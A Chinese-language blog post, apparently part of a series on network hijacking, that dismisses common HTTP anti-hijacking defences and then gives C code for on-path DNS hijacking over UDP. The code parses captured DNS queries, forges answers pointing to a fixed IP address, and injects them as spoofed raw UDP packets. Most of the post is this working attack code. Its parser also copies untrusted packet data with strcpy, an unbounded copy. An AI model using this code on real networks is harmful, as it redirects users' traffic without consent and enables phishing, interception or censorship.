2019独角兽企业重金招聘Python工程师标准>>>
上篇说到旁路劫持的原理与实现,主要还是针对TCP下HTTP服务而言的,有粉儿问了二个问题,一个问题是基于TCP的HTTP服务可以防劫持吗,网上有许多关于HTTP防劫持的办法,有说检测服务地址的,有说分片传输请求的,有说检测ttl值异常的,有说禁止重定向的,结论是都没用,伪造报文里网络层地址原本就是用户的目标地址,否则还叫什么伪造呢,请求报文分片web端能识别劫持设备就能识别,况且你确定你分片的报文在网络设备层发送前不会合并吗,ttl异常检测完全不靠谱,不用重定向200OK照样让你乖乖跳转;另一个问题是UDP能实现旁路劫持控制吗,结论是可以,UDP不同于TCP无连接无状态,只要数据合法先到先得,早年运营商控制P2P数据传输对带宽的占用就使用过类似方法,直接看代码吧不复杂。
DNS协议
// 0 1--4 05 06 07 08 9-11 12-15
// +----+--------+----+----+----+----+--------+-------+
// | QR | opcode | AA | TC | RD | RA | | rcode |
// +----+--------+----+----+----+----+--------+-------+
// +--------------------------------+
// | DNS Header: ID + flags |
// +--------------------------------+
// | Question: type of query |
// +--------------------------------+
// | Answer: RR answer to query |
// +--------------------------------+
// | Authority: RR for name server |
// +--------------------------------+
// | Additional: RR(s) other info |
// +--------------------------------+
DNS解析
void GtDnsParse(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues)
{
UCHAR* puszCur = puszPacket;
/* dns header */
memcpy(&pstHead->m_usIdent, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstHead->m_usFlags, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstHead->m_usQuCount, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstHead->m_usAnCount, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstHead->m_usNaCount, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstHead->m_usAdCount, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
/* dns question */
if (ntohs(pstHead->m_usQuCount) > 0) {
strcpy(pstQues->m_szUrl, (char*)puszCur);
puszCur += strlen(pstQues->m_szUrl) + 1;
memcpy(&pstQues->m_usType, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
memcpy(&pstQues->m_usClass, puszCur, sizeof(USHORT));
puszCur += sizeof(USHORT);
}
return;
}
DNS劫持
UINT GtDnsForge(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues)
{
UCHAR* puszCur = puszPacket;
/* dns header */
memcpy(puszCur, &pstHead->m_usIdent, sizeof(USHORT));
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = htons(0X8180);
/**(USHORT*)puszCur |= DNS_FLAG_QR;
*(USHORT*)puszCur |= DNS_FLAG_AA;
*(USHORT*)puszCur |= DNS_FLAG_RD;
*(USHORT*)puszCur |= DNS_FLAG_RA;*/
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = pstHead->m_usQuCount;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = GT_DNS_AN;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = GT_DNS_NA;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = GT_DNS_AD;
puszCur += sizeof(USHORT);
/* dns question */
strcat((char*)puszCur, pstQues->m_szUrl);
puszCur += strlen(pstQues->m_szUrl) + 1;
*(USHORT*)puszCur = pstQues->m_usType;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = pstQues->m_usClass;
puszCur += sizeof(USHORT);
/* dns answer */
*(USHORT*)puszCur = GT_DNS_DOMAIN;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = GT_DNS_AN;
puszCur += sizeof(USHORT);
*(USHORT*)puszCur = GT_DNS_AN;
puszCur += sizeof(USHORT);
*(UINT*)puszCur = GT_DNS_DEFAULT_TTL;
puszCur += sizeof(UINT);
*(USHORT*)puszCur = GT_DNS_AN_SIZE;
puszCur += sizeof(USHORT);
*(UINT*)puszCur = inet_addr(GT_DNS_HTML);
puszCur += sizeof(UINT) + 1;
return (UINT)(puszCur - puszPacket);
}
DNS伪造
void GtRawDnsSend(int iSocket, UCHAR* puszHeader, UCHAR* puszData, int iDataLength)
{
USHORT usSrcPort = 0;
USHORT usDstPort = 0;
struct sockaddr_in stRaw;
struct in_addr stSrcAddress;
struct in_addr stDstAddress;
struct ip* pstIP = NULL;
struct udphdr* pstUdp = NULL;
struct udphdr* pstRedirUdp = NULL;
UCHAR uszRedir[PACKET_SIZE] = { 0 };
/* ip header */
pstIP = (struct ip*)puszHeader;
memcpy(&stSrcAddress, &pstIP->ip_src, sizeof(struct in_addr));
memcpy(&stDstAddress, &pstIP->ip_dst, sizeof(struct in_addr));
/* udp Header */
pstUdp = (struct udphdr*)(puszHeader + pstIP->ip_hl * 4);
usSrcPort = ntohs(pstUdp->uh_sport);
usDstPort = ntohs(pstUdp->uh_dport);
/* redir packet */
memcpy(uszRedir + sizeof(struct ip) + sizeof(struct udphdr), puszData, iDataLength);
pstRedirUdp = (struct udphdr*)(uszRedir + sizeof(struct ip));
GtRawUdpHead((char*)pstRedirUdp, usDstPort, usSrcPort, sizeof(struct udphdr) + iDataLength);
pstRedirUdp->uh_sum = GtRawTransportCheckSum(IPPROTO_UDP, (char*)pstRedirUdp, sizeof(struct udphdr) + iDataLength, stDstAddress, stSrcAddress);
GtRawIPHead((char*)uszRedir, IPPROTO_UDP, stDstAddress, stSrcAddress, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength);
memset(&stRaw, '\0', sizeof(struct sockaddr_in));
stRaw.sin_family = AF_INET;
stRaw.sin_addr = stSrcAddress;
stRaw.sin_port = htons(usSrcPort);
if( sendto(iSocket, uszRedir, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength, 0, (struct sockaddr*)&stRaw, sizeof(struct sockaddr_in)) < 0 ) {
GT_ERROR("%s\n", strerror(errno));
}
return;
}
void GtRawUdpHead(char* pszPacket, USHORT usSrc, USHORT usDst, int iLength)
{
struct udphdr* pstUdp = (struct udphdr*)pszPacket;
pstUdp->uh_sport = htons(usSrc);
pstUdp->uh_dport = htons(usDst);
pstUdp->uh_ulen = htons(iLength);
pstUdp->uh_sum = 0;
return;
}
USHORT GtRawTransportCheckSum(UCHAR ucPro, char* pszPacket, int iLength, struct in_addr stSrc, struct in_addr stDst)
{
USHORT usAnswer = 0;
GTTCPPSEUDO_S stPseudo;
char szPseudo[PACKET_SIZE] = { 0 };
memset(&stPseudo, '\0', sizeof(GTTCPPSEUDO_S));
stPseudo.m_stSrc = stSrc;
stPseudo.m_stDst = stDst;
stPseudo.m_ucHolder = 0;
stPseudo.m_ucProtocol = ucPro;
stPseudo.m_usLength = htons(iLength);
memcpy(szPseudo, &stPseudo, sizeof(GTTCPPSEUDO_S));
memcpy(szPseudo + sizeof(GTTCPPSEUDO_S), pszPacket, iLength);
usAnswer = (USHORT)GtRawIPCheckSum((USHORT*)szPseudo, sizeof(GTTCPPSEUDO_S) + iLength);
return usAnswer;
}
连续两篇论述关于劫持的文章其实是想说明,技术本身是为了产品和功能服务的没有好与坏善与恶之说,用的不好给人带来糟糕的体验不说还使人厌烦,用的好可以净化网络环境屏蔽不良信息,希望诸位网络活动的参与者从自身做起共同维护良好的网络秩序。